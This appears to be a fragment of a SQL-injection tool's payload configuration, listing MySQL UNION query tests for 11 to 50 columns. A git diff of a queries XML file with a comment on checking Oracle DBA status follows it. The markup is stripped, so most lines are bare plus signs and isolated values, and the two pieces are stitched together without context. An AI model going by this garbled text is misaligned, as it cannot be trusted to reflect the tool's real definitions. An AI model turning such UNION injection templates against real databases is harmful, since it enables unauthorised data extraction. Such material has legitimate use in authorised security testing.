+ + + MySQL UNION query (NULL) - 11 to 20 columns + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + 11-20 + + + + +
+ MySQL +
+
+ + + MySQL UNION query ([RANDNUM]) - 11 to 20 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + 11-20 + + + + +
+ MySQL +
+
+ + + MySQL UNION query ([CHAR]) - 21 to 30 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + 21-30 + + + + +
+ MySQL +
+
+ + + MySQL UNION query (NULL) - 21 to 30 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + 21-30 + + + + +
+ MySQL +
+
+ + + MySQL UNION query ([RANDNUM]) - 21 to 30 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + 21-30 + + + + +
+ MySQL +
+
+ + + MySQL UNION query ([CHAR]) - 31 to 40 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + 31-40 + + + + +
+ MySQL +
+
+ + + MySQL UNION query (NULL) - 31 to 40 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + 31-40 + + + + +
+ MySQL +
+
+ + + MySQL UNION query ([RANDNUM]) - 31 to 40 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + 31-40 + + + + +
+ MySQL +
+
+ + + MySQL UNION query ([CHAR]) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + 41-50 + + + + +
+ MySQL +
+
+ + + MySQL UNION query (NULL) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + 41-50 + + + + +
+ MySQL +
+
+ + + MySQL UNION query ([RANDNUM]) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + 41-50 + + + + +
+ MySQL +
+
+ +
diff --git a/xml/queries.xml b/xml/queries.xml index 7fec188ce..75185bca0 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -24,6 +24,8 @@ + + @@ -36,7 +38,7 @@ - + @@ -90,8 +92,11 @@ - + + + + @@ -108,8 +113,8 @@ - - + + @@ -160,6 +165,8 @@ + + @@ -191,7 +198,7 @@ - + @@ -233,7 +240,9 @@ NOTE: in Oracle to check if the session user is DBA you can use: SELECT USERENV('ISDBA') FROM DUAL --> - + + + @@ -315,6 +324,8 @@ + + @@ -365,6 +376,8 @@ + + @@ -406,6 +419,8 @@ + + @@ -462,7 +477,9 @@ - + + + @@ -491,7 +508,7 @@ - + @@ -512,6 +529,8 @@ + + @@ -540,7 +559,7 @@ - + @@ -583,6 +602,8 @@ + + @@ -591,8 +612,8 @@ - - + + @@ -605,8 +626,8 @@ - - + + @@ -648,47 +669,49 @@ + + - + - + - + - + - + - + - + - + - +